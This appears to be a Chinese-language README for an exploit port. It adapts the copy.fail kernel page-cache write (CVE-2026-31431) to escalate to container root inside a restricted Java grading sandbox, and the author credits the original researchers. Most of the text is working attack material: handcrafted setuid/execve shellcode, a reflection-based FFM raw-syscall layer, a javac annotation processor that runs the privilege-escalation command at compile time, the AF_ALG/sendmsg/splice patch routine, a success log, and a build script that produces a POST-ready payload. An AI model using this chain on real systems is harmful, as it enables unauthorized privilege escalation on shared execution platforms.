CVE-2026-31431 (copy.fail) — 专为受限的 Java 执行环境适配,通过 FFM 系统调用层 + javac 注解处理器投递
先说致谢,因为这很重要。 该漏洞、利用技术以及原始利用代码都是 copy.fail 研究人员的工作成果。CVE-2026-31431 属于他们。这个 bug 不是我发现的。接下来要讲的是,我如何在一个人为锁死、以至于无法按原样运行其 Python 脚本的 Java 代码运行环境中,让他们的利用代码成功触发。我的贡献在于管道工程,而非原语本身。
我的大学 Java 作业平台会接收学生代码,用 javac 编译,然后在 Docker 容器中运行。经过第一轮试探(以及几个已报告的 bug 被修复)之后,容器被限制为只读根文件系统、seccomp 级别 2、AppArmor 强制模式、零 capabilities,只有 /tmp 和 /dev/shm 可写,且两者都挂载为 nosuid,nodev,noexec。没有原生编译器,没有可写的执行路径,没有 memfd_create,没有 process_vm_readv,没有 pidfd_getfd。
copy.fail 的利用代码需要一个可写的页缓存原语和一种投递 shellcode 的方式。两者都无法通过常规途径触达。于是我在 Java 中重建了整条投递链路:基于 Java 21 的外部函数与内存 API 构建的原始系统调用层、在构建时用 Python 汇编生成的 ELF payload,以及作为触发器的 javac 注解处理器。真正的实际工作由 copy.fail 的页缓存写入完成。最终结果是容器内 uid 0。
容器 root,而非宿主 root。这一点我会不止一次地强调,因为它决定了整件事的形态。
早期问题修复后,容器就是这个样子。
uid=100(runner)、gid=101(runner)。CapEff: 0x0000000000000000。有效 capabilities 为零。docker-default (enforce)。/tmp 和 /dev/shm,均以 nosuid,nodev,noexec 挂载。这确实是一个让人非常难受的环境。大多数常规手段都已失效。你不能投放二进制文件,不能编译一个二进制,不能 memfd_create 创建后执行它,而仅有的几个可写目录又是 noexec。
但有一扇门虚掩着。runner 可以通过 sudo 调用一个特权沙箱包装器,它大致做了这样的事:
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &
所以你可以触达容器内的 uid 0,但只能在 NoNewPrivs=1 且 bounding set 被限制为 CAP_SETUID | CAP_SETGID 的情况下。受限的 root。名义上的 root,除此之外几乎什么都不是的 root。
"是 uid 0" 与 "能真正以 uid 0 的身份做任何事" 之间的那道鸿沟,正是 copy.fail 被设计来填平的。
原始利用代码滥用 Linux 的 AF_ALG socket,也就是内核加密 API。具体来说是 authencesn(hmac(sha256),cbc(aes)) 算法及其解密路径。该路径会写入一个内核临时缓冲区,而通过精心编排的一系列 sendmsg() 和 splice() 调用,你可以将这次写入引导到任意文件描述符的页缓存中。
页缓存在各挂载命名空间之间共享。所以,如果你写入某个 setuid 二进制的页缓存,比如 /bin/mount,然后对它执行 execve(),内核就会运行你篡改后的字节。setuid 位会让内核把文件属主 root 作为新进程的身份。这次篡改不是竞争条件,而是一次确定性的写入。这正是 copy.fail 之所以如此干净利落的全部原因。
原始 Python 代码优雅地完成了这一切。它只是假设你可以做几件我的环境拒绝让我做的事情:
memfd_create() 返回 EPERM。process_vm_readv() 返回 EPERM。pidfd_getfd() 返回 EPERM。RLIMIT_CORE 返回 EPERM。所以我无法运行他们的代码。我必须重建那些涉及这些原语的部分,以一种该环境能够容忍的形式。
共四部分。只有投递方式变了。页缓存写入本身仍是 copy.fail 的,系统调用逐条移植。
原始版本使用预构建的 shellcode 数据块。我无法上传或执行二进制文件,所以 payload 在构建时由 Python 从零逐字节汇编,并序列化为十六进制。ELF 头、程序头和 shellcode 都在 build_payload() 中构造,并用 struct 打包。
shellcode 本身很短,并且直白地表达了自己的意图:
code += b'\x48\xc7\xc0\x6a\x00\x00\x00' # mov rax, 106 (setgid)
code += b'\x0f\x05' # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00' # mov rax, 105 (setuid)
code += b'\x0f\x05' # syscall
# ... jmp/call/pop to find "/bin/sh", build argv, execve ...
计划是 setgid(0)、setuid(0),然后 execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)。没有外部文件,没有上传步骤。十六进制字符串直接以字面量的形式写进 Java 源码,并在静态初始化器中解码。这绕开了整个"没有可写执行路径"的问题,因为 payload 从不接触磁盘。它先进入内存,再进入页缓存。
这是我最满意、同时也是写作时感觉最荒诞的部分。
我需要从容器内部发起原始系统调用,却没有任何办法编译或运行原生代码。Java 21 的外部函数与内存 API 允许你通过原生链接器直接调用 C 库的 syscall()。麻烦在于我不想依赖确切的模块路径,也不想依赖 FFM 处于预览状态,所以整个接线都通过对 java.lang.foreign.* 的反射完成。它找到原生链接器,查找 syscall 和 __errno_location,为 (long, long, long, long, long, long, long) -> long 构建一个 FunctionDescriptor,并返回一个 MethodHandle。
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}
从此每个系统调用都只是 sc(NR, arg0, arg1, ...)。内存来自匿名 mmap(sc(9, 0, sz, 3, 0x22, -1, 0)),写入通过 /proc/self/mem 进行,读取也以同样的方式完成。没有 JNI,没有原生编译,除 JDK 外没有其他依赖。通过 /proc/self/mem 读写自己的内存,正是用来替代被该环境封锁的 process_vm_readv。
一个幸运的突破口:容器的 JVM 启动包装器已经传入了 --enable-native-access=ALL-UNNAMED。没有这个标志,FFM 会拒绝进行 downcall,我就只能束手无策了。他们在锁死其他一切之后,却在 JVM 这边留了一扇没锁的门。
这一步把"我能提交 Java"变成了"我能以受限 root 身份运行代码"。
该平台用 javac 编译学生提交的代码。javac 通过 -processor ClassName 支持注解处理器。处理器的 process() 方法在编译期间运行,与 javac 处于同一进程、拥有相同权限。提交端点还会在源文件中接受一个 @javac_args 文件,其内容会直接传给编译器。所以我可以把这样的参数交给 javac:
-processor
RP
Trigger.java
而 RP.java,也就是我的注解处理器,会在编译时执行:
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
if (done) return false; done = true;
String out = run(<PRIVESC_CMD>,
"timeout", "55", "java",
"--enable-native-access=ALL-UNNAMED", "CopyFailV11");
processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
return false;
}
}
处理器调用特权沙箱包装器,包装器以受限 root 身份运行 java CopyFailV11。随后利用代码就在那个受限 root 上下文中运行并完成页缓存覆写。编译错误消息也是我通过平台响应回传输出的方式,因为编译失败是再正常不过的现象。
完整的端到端链路:
CopyFailV11.java、RP.java、Trigger.java 以及 @javac_args。javac 编译所有内容,触发注解处理器。java CopyFailV11。CopyFailV11 以受限 root 身份运行并执行页缓存覆写。这是 copy.fail 的原语,概念上未做改动,只是通过 Java 系统调用层来表达。payload 中每 4 个字节都需要一轮全新的 AF_ALG socket 流程:
static int patch(int fd, int off, byte[] v) throws Throwable {
long af = sc(41, 38, 5, 0, 0, 0, 0); // socket(AF_ALG, SOCK_SEQPACKET, 0)
// ... bind to authencesn(hmac(sha256),cbc(aes)), set 72-byte key, set authsize ...
long of = sc(43, af, 0, 0, 0, 0, 0); // accept -> operation socket
// sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
sc(46, of, ma, 32768, 0, 0, 0);
// pipe2 + two splice calls to move the data through
sc(293, pa, 0, 0, 0, 0, 0); // pipe2
sc(275, fd, oa, pw, 0, o, 0); // splice: file -> pipe write end
sc(275, pr, 0, of, 0, o, 0); // splice: pipe read end -> AF_ALG op socket
// ...
}
让这一切成立的关键——我想说清楚这不是我的洞见——在于 authencesn 的解密暂存写入路径,配合 MSG_SPLICE_PAGES 与 splice(),绕过了常规的写时复制语义,将字节直接落进目标文件描述符的页缓存。没有竞争条件。完全确定性。
目标选的是 /bin/mount。它是 setuid root,而且即使根文件系统是只读 overlay,它也存在于页缓存中。overlay 在磁盘上是只读的,页缓存并不是 overlay。
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354 <-- "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216 <-- all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...
CHILD_STATUS:
Name: mount
Uid: 0 0 0 0
Gid: 0 0 0 0
CapEff: 00000000000000c0
NoNewPrivs: 1
Seccomp: 2
[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)
字节落进了页缓存,子进程以 uid 0 和 gid 0 运行,并且该写入在多次运行中百分之百可靠。前四个字节是 54455354,也就是 ASCII 的 TEST,这是我在写入真正 payload 之前做的健全性检查写入。如果健全性写入出现在文件中,那么整次写入都会成功。
核心漏洞完全属于 copy.fail。我没有发现 CVE-2026-31431,没有找到 AF_ALG 原语,也没有设计 sendmsg 加 splice 的技巧。我只是针对一个不存在任何常规辅助手段的环境适配了投递方式:
memfd_create、process_vm_readv 和 pidfd_getfd 全都被封锁。如果你想理解这一切为何能够成立,请阅读 copy.fail。这个仓库就是针对"好吧,但如果这个环境还拿走了你的编译器和你的 shellcode 文件呢"这个问题的回答。
子进程继承了沙箱包装器施加的所有限制。页缓存写入并不会放宽其中任何一条。
NoNewPrivs: 1。无法获得更多权限。CapEff: 0xc0。只有 CAP_SETUID 和 CAP_SETGID。Seccomp: 2。系统调用过滤仍然生效。docker-default AppArmor 仍然强制执行。所以这是容器 root,而非宿主 root。从这个状态逃逸出容器是一个独立且更难的问题,而凭借 AppArmor 与内核加固,这个环境在封死这条路上做得相当好。我并不是在宣称实现了 Docker 逃逸。我要说的是,"受限 root" 实际上比配置原本预期的限制更少,因为 copy.fail 的原语并不需要真正的 capabilities,它只需要能够写入页缓存,而页缓存并不在乎你的 capability mask。
这一点值得深思。这个沙箱是围绕 root 能做什么来设计的。而该利用代码并不以 root 身份做任何事。它只是对某个文件做了一件事,而这个文件恰好是 setuid 的。
copy_fail_java_runner.py。构建脚本。用 Python 汇编 ELF payload,将其嵌入生成的 Java 源码中,并写出可直接 POST 的 payload.json。运行前请在文件顶部配置目标主机、runner 端点和提权命令。CopyFailV11.java(利用代码与 FFM 系统调用层)、RP.java(注解处理器)、Trigger.java 和主类(占位源码,使编译结构完整)、javac_args(注入 -processor RP)以及 payload.json。原始漏洞与技术:copy.fail,CVE-2026-31431。本项目是针对特定环境的移植,对底层漏洞不主张任何功劳。